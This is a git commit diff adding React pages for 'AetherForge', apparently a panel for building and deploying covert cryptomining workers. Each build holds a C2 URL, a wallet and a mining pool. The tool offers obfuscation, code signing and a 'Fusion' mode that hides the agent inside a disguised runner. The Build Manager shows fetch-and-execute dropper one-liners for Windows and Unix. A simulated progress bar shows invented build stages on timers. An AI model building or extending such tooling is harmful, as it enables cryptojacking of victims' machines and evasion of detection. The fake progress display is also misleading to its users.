feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel

Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
This commit is contained in:
AetherForge
2026-05-30 22:38:48 -07:00
parent e6b8d84edf
commit 9232f4c448
45 changed files with 4222 additions and 406 deletions

View File

@@ -0,0 +1,362 @@
.bm-page {
max-width: 1100px;
margin: 0 auto;
padding: 1.5rem 1.25rem 2rem;
}
.bm-header {
display: flex;
align-items: flex-start;
justify-content: space-between;
flex-wrap: wrap;
gap: 1rem;
margin-bottom: 1.75rem;
}
.bm-title {
font-size: 1.6rem;
color: var(--neon-amber, #ffc060);
margin: 0 0 0.25rem;
}
.bm-subtitle {
margin: 0;
font-size: 0.85rem;
}
.bm-header-actions {
display: flex;
gap: 0.5rem;
align-items: center;
flex-shrink: 0;
}
/* ── empty / loading ── */
.bm-empty {
text-align: center;
padding: 2.5rem 1.5rem;
}
.bm-loading {
padding: 2rem;
text-align: center;
}
/* ── card grid ── */
.bm-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(520px, 1fr));
gap: 1.25rem;
}
/* ── card internals ── */
.bm-card {
padding: 1rem 1.1rem;
display: flex;
flex-direction: column;
gap: 0.85rem;
}
.bm-card-header {
display: flex;
align-items: flex-start;
justify-content: space-between;
gap: 0.5rem;
flex-wrap: wrap;
}
.bm-card-title {
display: flex;
align-items: center;
gap: 0.45rem;
flex-wrap: wrap;
}
.bm-worker-name {
font-family: var(--font-display, monospace);
font-size: 1.05rem;
font-weight: 700;
color: #eee;
}
.bm-platform-badge {
font-family: 'Courier New', monospace;
font-size: 0.7rem;
font-weight: 700;
letter-spacing: 0.08em;
padding: 0.1rem 0.4rem;
border-radius: 3px;
background: rgba(255,255,255,0.06);
border: 1px solid currentColor;
text-transform: uppercase;
}
.bm-tag {
font-size: 0.65rem;
font-weight: 700;
letter-spacing: 0.09em;
padding: 0.1rem 0.45rem;
border-radius: 3px;
text-transform: uppercase;
}
.bm-tag-fusion {
background: rgba(255,100,0,0.18);
color: #ff8c00;
border: 1px solid rgba(255,100,0,0.45);
}
.bm-tag-universal {
background: rgba(255,215,0,0.12);
color: #ffd700;
border: 1px solid rgba(255,215,0,0.35);
}
.bm-date {
font-family: 'Courier New', monospace;
font-size: 0.72rem;
color: var(--text-secondary, #888);
white-space: nowrap;
}
/* ── settings grid ── */
.bm-settings-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(160px, 1fr));
gap: 0.4rem 0.75rem;
padding: 0.6rem 0.75rem;
background: rgba(0,0,0,0.28);
border: 1px solid rgba(255,255,255,0.07);
border-radius: 4px;
}
.bm-setting {
display: flex;
flex-direction: column;
gap: 0.1rem;
}
.bm-setting-label {
font-family: 'Courier New', monospace;
font-size: 0.62rem;
letter-spacing: 0.1em;
text-transform: uppercase;
color: var(--neon-amber, #ffc060);
opacity: 0.75;
}
.bm-setting-value {
font-size: 0.78rem;
color: #dde;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.bm-setting-value.mono {
font-family: 'Courier New', monospace;
font-size: 0.75rem;
}
.bm-tls-badge {
font-size: 0.62rem;
color: var(--neon-cyan, #0ff);
opacity: 0.8;
}
/* ── downloads ── */
.bm-downloads,
.bm-dropper {
display: flex;
flex-direction: column;
gap: 0.4rem;
}
.bm-downloads-label {
font-size: 0.62rem;
letter-spacing: 0.1em;
color: var(--text-secondary, #888);
margin-bottom: 0.05rem;
}
.bm-downloads-row {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
}
.bm-dl-btn {
font-size: 0.82rem;
padding: 0.3rem 0.75rem;
}
/* ── dropper rows ── */
.bm-dropper-row {
display: flex;
align-items: center;
gap: 0.4rem;
padding: 0.25rem 0.5rem;
background: rgba(0,0,0,0.3);
border-radius: 3px;
border: 1px solid rgba(255,255,255,0.05);
min-width: 0;
}
.bm-dropper-os {
font-family: 'Courier New', monospace;
font-size: 0.65rem;
font-weight: 700;
color: var(--neon-cyan, #0ff);
min-width: 2rem;
text-align: right;
flex-shrink: 0;
}
.bm-dropper-cmd {
flex: 1;
font-family: 'Courier New', monospace;
font-size: 0.7rem;
color: #b8e0d0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
min-width: 0;
}
.bm-copy-btn {
flex-shrink: 0;
font-size: 0.7rem;
padding: 0.15rem 0.5rem;
background: rgba(0,245,255,0.08);
border: 1px solid rgba(0,245,255,0.28);
border-radius: 3px;
color: var(--neon-cyan, #0ff);
cursor: pointer;
transition: background 0.15s;
white-space: nowrap;
}
.bm-copy-btn:hover {
background: rgba(0,245,255,0.18);
}
/* ── footer row ── */
.bm-card-footer {
display: flex;
align-items: flex-end;
justify-content: space-between;
gap: 0.75rem;
flex-wrap: wrap;
margin-top: 0.25rem;
}
.bm-qr-wrap {
display: flex;
flex-direction: column;
align-items: center;
gap: 0.2rem;
}
.bm-qr-label {
font-family: 'Courier New', monospace;
font-size: 0.6rem;
color: var(--text-secondary, #888);
letter-spacing: 0.05em;
}
.bm-action-btns {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
align-items: center;
}
.bm-reforge-btn {
font-size: 0.82rem;
}
.bm-del-btn {
font-size: 0.78rem;
padding: 0.3rem 0.65rem;
background: rgba(255,50,50,0.08);
border: 1px solid rgba(255,80,80,0.3);
border-radius: 4px;
color: #f87171;
cursor: pointer;
transition: background 0.15s, border-color 0.15s;
}
.bm-del-btn:hover {
background: rgba(255,50,50,0.16);
border-color: rgba(255,80,80,0.55);
}
.bm-del-btn-confirm {
background: rgba(255,80,0,0.22);
border-color: rgba(255,100,0,0.65);
color: #ff8c00;
}
/* ── Pinned state ── */
.bm-card-pinned {
box-shadow: 0 0 0 1.5px rgba(0, 255, 130, 0.55), 0 0 18px rgba(0, 255, 100, 0.18);
}
.bm-pinned-banner {
font-family: 'Courier New', monospace;
font-size: 0.72rem;
color: #00ff88;
background: rgba(0, 255, 100, 0.08);
border: 1px solid rgba(0, 255, 100, 0.3);
border-radius: 4px;
padding: 0.35rem 0.65rem;
margin-bottom: 0.1rem;
line-height: 1.5;
word-break: break-all;
}
.bm-pinned-banner code {
color: #7effc8;
font-size: 0.7rem;
}
/* ── Pin button ── */
.bm-pin-btn {
font-size: 0.78rem;
padding: 0.3rem 0.7rem;
background: rgba(0, 200, 100, 0.08);
border: 1px solid rgba(0, 200, 100, 0.3);
border-radius: 4px;
color: #5fffa8;
cursor: pointer;
transition: background 0.15s, border-color 0.15s, box-shadow 0.15s;
white-space: nowrap;
}
.bm-pin-btn:hover:not(:disabled) {
background: rgba(0, 200, 100, 0.18);
border-color: rgba(0, 200, 100, 0.55);
}
.bm-pin-btn-active {
background: rgba(0, 255, 120, 0.16);
border-color: rgba(0, 255, 120, 0.6);
color: #00ff88;
box-shadow: 0 0 8px rgba(0, 255, 100, 0.25);
font-weight: 600;
}
.bm-pin-btn-active:hover:not(:disabled) {
background: rgba(255, 80, 80, 0.12);
border-color: rgba(255, 80, 80, 0.4);
color: #f87171;
}
@media (max-width: 640px) {
.bm-grid {
grid-template-columns: 1fr;
}
.bm-dropper-cmd {
display: none;
}
}

View File

@@ -0,0 +1,378 @@
import { useCallback, useEffect, useRef, useState } from 'react';
import { useNavigate } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord } from '../types';
import DownloadButton from '../components/DownloadButton';
import AuthDownloadButton from '../components/AuthDownloadButton';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
import NeonCard from '../components/NeonCard/NeonCard';
import './BuildManagerPage.css';
// ─── helpers ─────────────────────────────────────────────────────────────────
function truncateWallet(w: string): string {
if (!w || w.length < 12) return w || '—';
return `${w.slice(0, 6)}${w.slice(-6)}`;
}
function truncateUrl(u: string): string {
try {
const parsed = new URL(u);
return parsed.host;
} catch {
return u.length > 30 ? u.slice(0, 28) + '…' : u;
}
}
function fmtSize(bytes: number): string {
if (!bytes) return '—';
if (bytes >= 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
return `${(bytes / 1024).toFixed(0)} KB`;
}
function fmtDate(iso: string): string {
try {
const d = new Date(iso);
return d.toLocaleDateString(undefined, { month: 'short', day: 'numeric', year: 'numeric' }) +
' ' + d.toLocaleTimeString(undefined, { hour: '2-digit', minute: '2-digit' });
} catch {
return iso;
}
}
function platformLabel(p?: string): string {
if (!p) return 'Win';
const m: Record<string, string> = {
windows: 'Win', linux: 'Linux', darwin: 'macOS', universal: 'Universal',
};
return m[p.toLowerCase()] ?? p;
}
function platformColor(p?: string): string {
if (!p) return 'var(--neon-cyan)';
const m: Record<string, string> = {
windows: '#00e5ff', linux: '#a3e635', darwin: '#f0abfc', universal: '#ffd700',
};
return m[p.toLowerCase()] ?? '#aaa';
}
function CopyButton({ text, label }: { text: string; label: string }) {
const [copied, setCopied] = useState(false);
const copy = () => {
navigator.clipboard.writeText(text).then(() => {
setCopied(true);
setTimeout(() => setCopied(false), 1800);
});
};
return (
<button type="button" className="bm-copy-btn" onClick={copy} title={text}>
{copied ? '✓ Copied' : label}
</button>
);
}
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
const [confirming, setConfirming] = useState(false);
const [busy, setBusy] = useState(false);
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const handleClick = () => {
if (!confirming) {
setConfirming(true);
timerRef.current = setTimeout(() => setConfirming(false), 3000);
} else {
if (timerRef.current) clearTimeout(timerRef.current);
setBusy(true);
api.deleteBuild(buildId).finally(() => {
setBusy(false);
setConfirming(false);
onDeleted();
});
}
};
return (
<button
type="button"
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
disabled={busy}
onClick={handleClick}
title="Delete this build from server"
>
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
</button>
);
}
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
const [busy, setBusy] = useState(false);
const handleClick = async () => {
if (busy) return;
setBusy(true);
try {
if (pinned) {
await api.unpinAll();
} else {
await api.pinBuild(buildId);
}
onPinned();
} catch (e) {
console.error(e);
} finally {
setBusy(false);
}
};
return (
<button
type="button"
className={`bm-pin-btn${pinned ? ' bm-pin-btn-active' : ''}`}
disabled={busy}
onClick={handleClick}
title={pinned ? 'Unpin — dropper will serve latest build' : 'Pin — dropper will serve this build'}
>
{busy ? '…' : pinned ? '📌 Pinned to Dropper' : '📌 Pin to Dropper'}
</button>
);
}
// ─── per-build card ───────────────────────────────────────────────────────────
function BuildCard({
build,
serverBase,
onReforge,
onDeleted,
onPinned,
}: {
build: BuildRecord;
serverBase: string;
onReforge: (b: BuildRecord) => void;
onDeleted: () => void;
onPinned: () => void;
}) {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
const isUniversal = build.platform?.toLowerCase() === 'universal';
const isFusion = !!build.file_name?.includes('runner') || (build.bundle_size && build.bundle_size > 0);
const ps1 = `iex (irm '${serverBase}/install.ps1')`;
const sh = `curl -sL ${serverBase}/install.sh | bash`;
return (
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card${build.pinned ? ' bm-card-pinned' : ''}`}>
{/* ── Pinned banner ── */}
{build.pinned && (
<div className="bm-pinned-banner">
📌 ACTIVE DROPPER <code>iex (irm '{serverBase}/install.ps1')</code> serves this build
</div>
)}
{/* ── Header row ── */}
<div className="bm-card-header">
<div className="bm-card-title">
<span className="bm-worker-name">{build.worker_name || '(unnamed)'}</span>
<span
className="bm-platform-badge"
style={{ color: platformColor(build.platform) }}
>
{platformLabel(build.platform)}
</span>
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
{isUniversal && !isFusion && <span className="bm-tag bm-tag-universal">UNIVERSAL</span>}
</div>
<span className="bm-date">{fmtDate(build.created_at)}</span>
</div>
{/* ── Baked settings summary ── */}
<div className="bm-settings-grid">
<div className="bm-setting">
<span className="bm-setting-label">C2</span>
<span className="bm-setting-value mono" title={build.server_url}>{truncateUrl(build.server_url)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Wallet</span>
<span className="bm-setting-value mono" title={build.wallet}>{truncateWallet(build.wallet)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Pool</span>
<span className="bm-setting-value mono">
{build.pool_host || '—'}:{build.pool_port || '—'}
{build.pool_tls && <span className="bm-tls-badge"> TLS</span>}
</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Threads</span>
<span className="bm-setting-value">{build.threads || '—'}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Size</span>
<span className="bm-setting-value">{fmtSize(build.bundle_size || build.file_size)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">File</span>
<span className="bm-setting-value mono" title={exeName}>{exeName.length > 28 ? exeName.slice(0, 26) + '…' : exeName}</span>
</div>
</div>
{/* ── Download methods ── */}
<div className="bm-downloads">
<div className="bm-downloads-label font-tech">DOWNLOAD</div>
<div className="bm-downloads-row">
<DownloadButton
apiPath={api.buildDownloadUrl(build.id)}
filename={exeName}
className="btn btn-primary bm-dl-btn"
>
{isUniversal ? 'Universal ZIP' : exeName}
</DownloadButton>
<AuthDownloadButton
apiPath={api.buildUninstallUrl(build.id)}
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
className="btn btn-outline bm-dl-btn"
>
Uninstall script
</AuthDownloadButton>
</div>
</div>
{/* ── Dropper one-liners ── */}
<div className="bm-dropper">
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">Win</span>
<code className="bm-dropper-cmd">{ps1}</code>
<CopyButton text={ps1} label="Copy" />
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">*nix</span>
<code className="bm-dropper-cmd">{sh}</code>
<CopyButton text={sh} label="Copy" />
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">URL</span>
<code className="bm-dropper-cmd">{downloadUrl}</code>
<CopyButton text={downloadUrl} label="Copy" />
</div>
</div>
{/* ── QR + actions ── */}
<div className="bm-card-footer">
<div className="bm-qr-wrap">
<LanDownloadQR url={downloadUrl} />
<span className="bm-qr-label">Scan to download</span>
</div>
<div className="bm-action-btns">
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
<button
type="button"
className="btn btn-secondary bm-reforge-btn"
onClick={() => onReforge(build)}
>
Re-forge
</button>
<DeleteButton buildId={build.id} onDeleted={onDeleted} />
</div>
</div>
</NeonCard>
);
}
// ─── page ─────────────────────────────────────────────────────────────────────
export default function BuildManagerPage() {
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [loading, setLoading] = useState(true);
const [error, setError] = useState('');
const [serverBase, setServerBase] = useState('');
const navigate = useNavigate();
const loadBuilds = useCallback(async () => {
try {
const [list, info] = await Promise.all([
api.listBuilds(),
api.getServerInfo().catch(() => null),
]);
setBuilds(list);
if (info) {
const pub = info.suggested_url?.replace(/\/$/, '') || window.location.origin;
setServerBase(pub);
} else {
setServerBase(window.location.origin);
}
setError('');
} catch (e) {
setError(e instanceof Error ? e.message : 'Failed to load builds');
} finally {
setLoading(false);
}
}, []);
useEffect(() => { loadBuilds(); }, [loadBuilds]);
const handleReforge = useCallback((build: BuildRecord) => {
// Pass build id as query param so Forge page can pre-fill from it
navigate(`/forge?reforge=${encodeURIComponent(build.id)}`);
}, [navigate]);
return (
<div className="page fade-in bm-page">
<div className="bm-header">
<div>
<h1 className="font-display bm-title">Build Manager</h1>
<p className="form-hint bm-subtitle">
All forged workers download, deploy, re-forge, or delete from any browser.
</p>
</div>
<div className="bm-header-actions">
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
{loading ? 'Loading…' : '↻ Refresh'}
</button>
<button type="button" className="btn btn-success" onClick={() => navigate('/forge')}>
New Forge
</button>
</div>
</div>
{error && (
<div className="form-error" style={{ marginBottom: '1rem' }}>
<span></span> {error}
</div>
)}
{!loading && builds.length === 0 && !error && (
<NeonCard accent="cyan" className="bm-empty">
<p className="font-tech" style={{ color: 'var(--neon-cyan)' }}>NO BUILDS YET</p>
<p className="form-hint">Head to Forge, fill in your config, and click FORGE INSTALLER.</p>
<button type="button" className="btn btn-primary" onClick={() => navigate('/forge')} style={{ marginTop: '0.75rem' }}>
Go to Forge
</button>
</NeonCard>
)}
{loading && (
<div className="bm-loading">
<span className="font-tech" style={{ color: 'var(--neon-cyan)', fontSize: '0.85rem' }}>LOADING BUILDS</span>
</div>
)}
<div className="bm-grid">
{builds.map((build) => (
<BuildCard
key={build.id}
build={build}
serverBase={serverBase}
onReforge={handleReforge}
onDeleted={loadBuilds}
onPinned={loadBuilds}
/>
))}
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}

View File

@@ -1,5 +1,5 @@
import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
import { Link } from 'react-router-dom';
import { Link, useNavigate, useSearchParams } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
@@ -19,11 +19,9 @@ import {
type ForgeDeliverable,
} from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
import AuthDownloadButton from '../components/AuthDownloadButton';
import { buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import { downloadApiFile } from '../api/download';
import { useForge } from '../context/ForgeContext';
import {
fusionPayloadKind,
fusionTitleFromFilename,
@@ -50,6 +48,37 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
// Simulated stage timeline — (label, target% completed at this point, min ms from start)
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
{ label: 'Resolving dependencies...', pct: 8, minMs: 0 },
{ label: 'Compiling agent source...', pct: 28, minMs: 800 },
{ label: 'Cross-compiling targets...', pct: 52, minMs: 2500 },
{ label: 'Applying obfuscation...', pct: 68, minMs: 5000 },
{ label: 'Packaging deliverable...', pct: 82, minMs: 8000 },
{ label: 'Signing & finalizing...', pct: 93, minMs: 11000 },
{ label: 'Almost done...', pct: 98, minMs: 15000 },
];
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
if (!building) return null;
return (
<div className="forge-progress-wrap" aria-live="polite">
<div className="forge-progress-header">
<span className="forge-progress-icon"></span>
<span className="forge-progress-stage">{stage || 'Initializing...'}</span>
<span className="forge-progress-pct">{Math.round(progress)}%</span>
</div>
<div className="forge-progress-track">
<div
className="forge-progress-fill"
style={{ width: `${progress}%` }}
/>
<div className="forge-progress-glow" style={{ left: `${progress}%` }} />
</div>
</div>
);
}
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
function loadSimpleMode(): boolean {
@@ -63,12 +92,16 @@ function loadSimpleMode(): boolean {
}
export default function BuilderPage() {
const navigate = useNavigate();
const [searchParams, setSearchParams] = useSearchParams();
const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
const forgeStageTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const [form, setForm] = useState<BuildRequest | null>(null);
const [building, setBuilding] = useState(false);
const [error, setError] = useState('');
const [lastBuild, setLastBuild] = useState<BuildResponse | null>(null);
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
const [showRecent, setShowRecent] = useState(false);
const [loadingDefaults, setLoadingDefaults] = useState(true);
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
const [fusionBatchFiles, setFusionBatchFiles] = useState<File[]>([]);
@@ -92,6 +125,45 @@ export default function BuilderPage() {
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
// Drive simulated stage progress while a single build is running
useEffect(() => {
if (!building || batchJob) {
endForge();
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
return;
}
const startMs = Date.now();
startForge();
let stageIdx = 0;
const advance = () => {
const elapsed = Date.now() - startMs;
// Find the furthest stage whose minMs has been reached
let next = 0;
for (let i = 0; i < FORGE_STAGES.length; i++) {
if (elapsed >= FORGE_STAGES[i].minMs) next = i;
else break;
}
const s = FORGE_STAGES[next];
// Smoothly interpolate within this stage toward the next stage's target %
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98;
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000;
const stageElapsed = elapsed - s.minMs;
const stageDur = nextMs - s.minMs;
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
const pct = s.pct + (nextPct - s.pct) * frac;
if (next !== stageIdx) stageIdx = next;
setStage(s.label, Math.min(98, pct));
forgeStageTimerRef.current = setTimeout(advance, 250);
};
advance();
return () => {
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
};
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [building, batchJob]);
const setForgeMode = (simple: boolean) => {
setSimpleMode(simple);
try {
@@ -142,32 +214,28 @@ export default function BuilderPage() {
try {
const builds = await api.listBuilds();
setRecentBuilds(builds);
setShowRecent(true);
} catch (err) {
console.error(err);
}
};
// Handle ?reforge=<buildId> links from Build Manager page
useEffect(() => {
const reforgeId = searchParams.get('reforge');
if (!reforgeId || recentBuilds.length === 0) return;
const match = recentBuilds.find((b) => b.id === reforgeId);
if (match) {
reForgeFromBuild(match);
setSearchParams({}, { replace: true });
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [searchParams, recentBuilds]);
const finishForgeSuccess = async (result: BuildResponse) => {
setStage('Build complete!', 100);
setLastBuild(result);
loadRecentBuilds();
const url = result.bundle_download_url || result.download_url;
const name = result.bundle_file_name || result.file_name;
if (url && name) {
try {
await downloadApiFile(url, name);
} catch (err) {
console.error('Auto-download failed:', err);
}
return;
}
if (result.download_url && result.file_name) {
try {
await downloadApiFile(result.download_url, result.file_name);
} catch (err) {
console.error('Auto-download failed:', err);
}
}
// No auto-download — user downloads from the strip below or Build Manager page
};
// Blueprint: save current form as a named blueprint
@@ -250,10 +318,6 @@ export default function BuilderPage() {
}
};
const blueprintDiffRows = useMemo(() => {
if (!form || !compareBlueprint) return [];
return blueprintDiff(compareBlueprint, form as unknown as Record<string, unknown>);
}, [form, compareBlueprint]);
// Blueprint: delete a blueprint
const handleDeleteBlueprint = async (name: string) => {
@@ -493,7 +557,8 @@ export default function BuilderPage() {
const candidates = lanEndpointCandidates(info, config.port || info.port);
const base = defaultsFromConfig(config, info, builds);
const kind = form ? deriveDeliverableType(form) : 'single';
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates });
// Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates });
setForm(applyDeliverableType(merged, kind));
setBlueprintMsg('✅ Recommended defaults applied');
setTimeout(() => setBlueprintMsg(''), 2500);
@@ -1881,6 +1946,8 @@ export default function BuilderPage() {
</div>
)}
<ForgeProgressBar building={building && !batchJob} stage={forgeStage} progress={forgeProgress} />
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
@@ -1900,146 +1967,39 @@ export default function BuilderPage() {
</div>
{lastBuild?.success && (
<div className="card recent-builds">
<h2>Installer Ready</h2>
<div className="build-success">
<p><strong>Deploy to each machine:</strong></p>
{lastBuild.fusion_enabled && (
<p className="form-hint">Fusion build worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
)}
<p><strong>File:</strong> {lastBuild.file_name}</p>
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
{lastBuild.fusion_export_dir && (
<>
<p><strong>Movie deliverables folder:</strong></p>
<code className="path-display">{lastBuild.fusion_export_dir}</code>
</>
)}
{lastBuild.export_path && (
<>
<p><strong>Your file (project root):</strong></p>
<code className="path-display">{lastBuild.export_path}</code>
{!lastBuild.fusion_export_dir && (
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
)}
{(lastBuild.obfuscated || lastBuild.signed) && (
<p className="form-hint">
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
{lastBuild.signed && 'Authenticode signature applied.'}
</p>
)}
</>
)}
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
<div className="download-actions">
{lastBuild.download_url && lastBuild.file_name && (
<DownloadButton
apiPath={lastBuild.download_url}
filename={lastBuild.file_name}
className="btn btn-primary btn-lg"
>
Download {lastBuild.file_name}
</DownloadButton>
<div className="forge-last-build-strip">
<div className="forge-last-build-info">
<span className="forge-last-build-check"></span>
<div>
<span className="forge-last-build-name">{lastBuild.file_name || 'Build ready'}</span>
{lastBuild.file_size != null && (
<span className="forge-last-build-size">
{((lastBuild.file_size || 0) / 1024 / 1024).toFixed(1)} MB
</span>
)}
{!lastBuild.bundle_download_url && lastBuild.build_id && lastBuild.extra_files?.map((f) => (
<DownloadButton
key={f.file_name}
apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)}
filename={f.file_name}
className="btn btn-secondary"
>
Download {f.file_name}
</DownloadButton>
))}
<p className="form-hint">
{lastBuild.bundle_file_name
? 'One ZIP per title — extract and run the runner only (agent is inside it, hidden).'
: 'Saved to your browser Downloads when the forge completes. Click again if needed.'}
</p>
{lastBuild.fusion_enabled && <span className="forge-last-build-tag">FUSION</span>}
{lastBuild.obfuscated && <span className="forge-last-build-tag">GARBLED</span>}
{lastBuild.signed && <span className="forge-last-build-tag">SIGNED</span>}
</div>
{lastBuild.uninstall_export_path && (
<p><strong>Uninstaller copy:</strong> <code className="mono-sm">{lastBuild.uninstall_export_path}</code></p>
)}
{lastBuild.uninstall_download_url && (
<>
<p><strong>Uninstaller:</strong> {lastBuild.uninstall_file_name}</p>
{!lastBuild.uninstall_export_path && (
<code className="path-display">{lastBuild.uninstall_path}</code>
)}
<AuthDownloadButton
apiPath={lastBuild.uninstall_download_url}
filename={lastBuild.uninstall_file_name || 'uninstall.ps1'}
className="btn btn-outline"
>
Download uninstall script
</AuthDownloadButton>
</>
)}
</div>
</div>
)}
{showRecent && (
<div className="card recent-builds">
<div className="recent-header">
<h2>Build Manager</h2>
<button className="btn btn-outline" onClick={() => setShowRecent(false)}>Close</button>
<div className="forge-last-build-actions">
{lastBuild.download_url && lastBuild.file_name && (
<DownloadButton
apiPath={lastBuild.download_url}
filename={lastBuild.file_name}
className="btn btn-primary btn-sm"
>
Download
</DownloadButton>
)}
<button
type="button"
className="btn btn-outline btn-sm"
onClick={() => navigate('/builds')}
>
View in Build Manager
</button>
</div>
<p className="form-hint">Blueprint diff, one-click re-forge, LAN QR download for each forged build.</p>
{blueprintDiffRows.length > 0 && (
<NeonCard accent="purple" className="section">
<h3>Blueprint Diff vs current form</h3>
<ul className="blueprint-diff">
{blueprintDiffRows.map((d) => (
<li key={d.key} className={d.kind}>
<strong>{d.key}</strong>: {d.kind}
{d.kind === 'changed' && ` (${JSON.stringify(d.from)}${JSON.stringify(d.to)})`}
</li>
))}
</ul>
</NeonCard>
)}
{recentBuilds.length === 0 ? (
<p className="empty-text">No builds yet</p>
) : (
<div className="build-manager-grid">
{recentBuilds.map((build) => {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
const exeName =
build.file_path?.replace(/^.*[/\\]/, '') || `install-${build.worker_name}.exe`;
return (
<div key={build.id} className="build-manager-row">
<div>
<div className="build-item-name">{build.worker_name}</div>
<div className="build-item-details">
<span>{build.threads} threads</span>
<span>{(build.file_size / 1024 / 1024).toFixed(1)} MB</span>
<span>{new Date(build.created_at).toLocaleString()}</span>
</div>
</div>
<LanDownloadQR url={downloadUrl} />
<DownloadButton
apiPath={api.buildDownloadUrl(build.id)}
filename={exeName}
className="btn btn-outline"
>
Download
</DownloadButton>
<AuthDownloadButton
apiPath={api.buildUninstallUrl(build.id)}
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
className="btn btn-outline"
>
Uninstall script
</AuthDownloadButton>
<button type="button" className="btn btn-primary" disabled={building} onClick={() => reForgeFromBuild(build)}>
Re-forge
</button>
</div>
);
})}
</div>
)}
</div>
)}
</div>

View File

@@ -0,0 +1,548 @@
/* ── Crucible Page ───────────────────────────────────────────────────── */
.crucible-page {
max-width: 1400px;
}
.crucible-sel-summary {
display: flex;
flex-direction: column;
align-items: flex-end;
gap: 0.2rem;
}
/* ── Roster ──────────────────────────────────────────────────────────── */
.crucible-roster-card {
margin-bottom: 1rem;
}
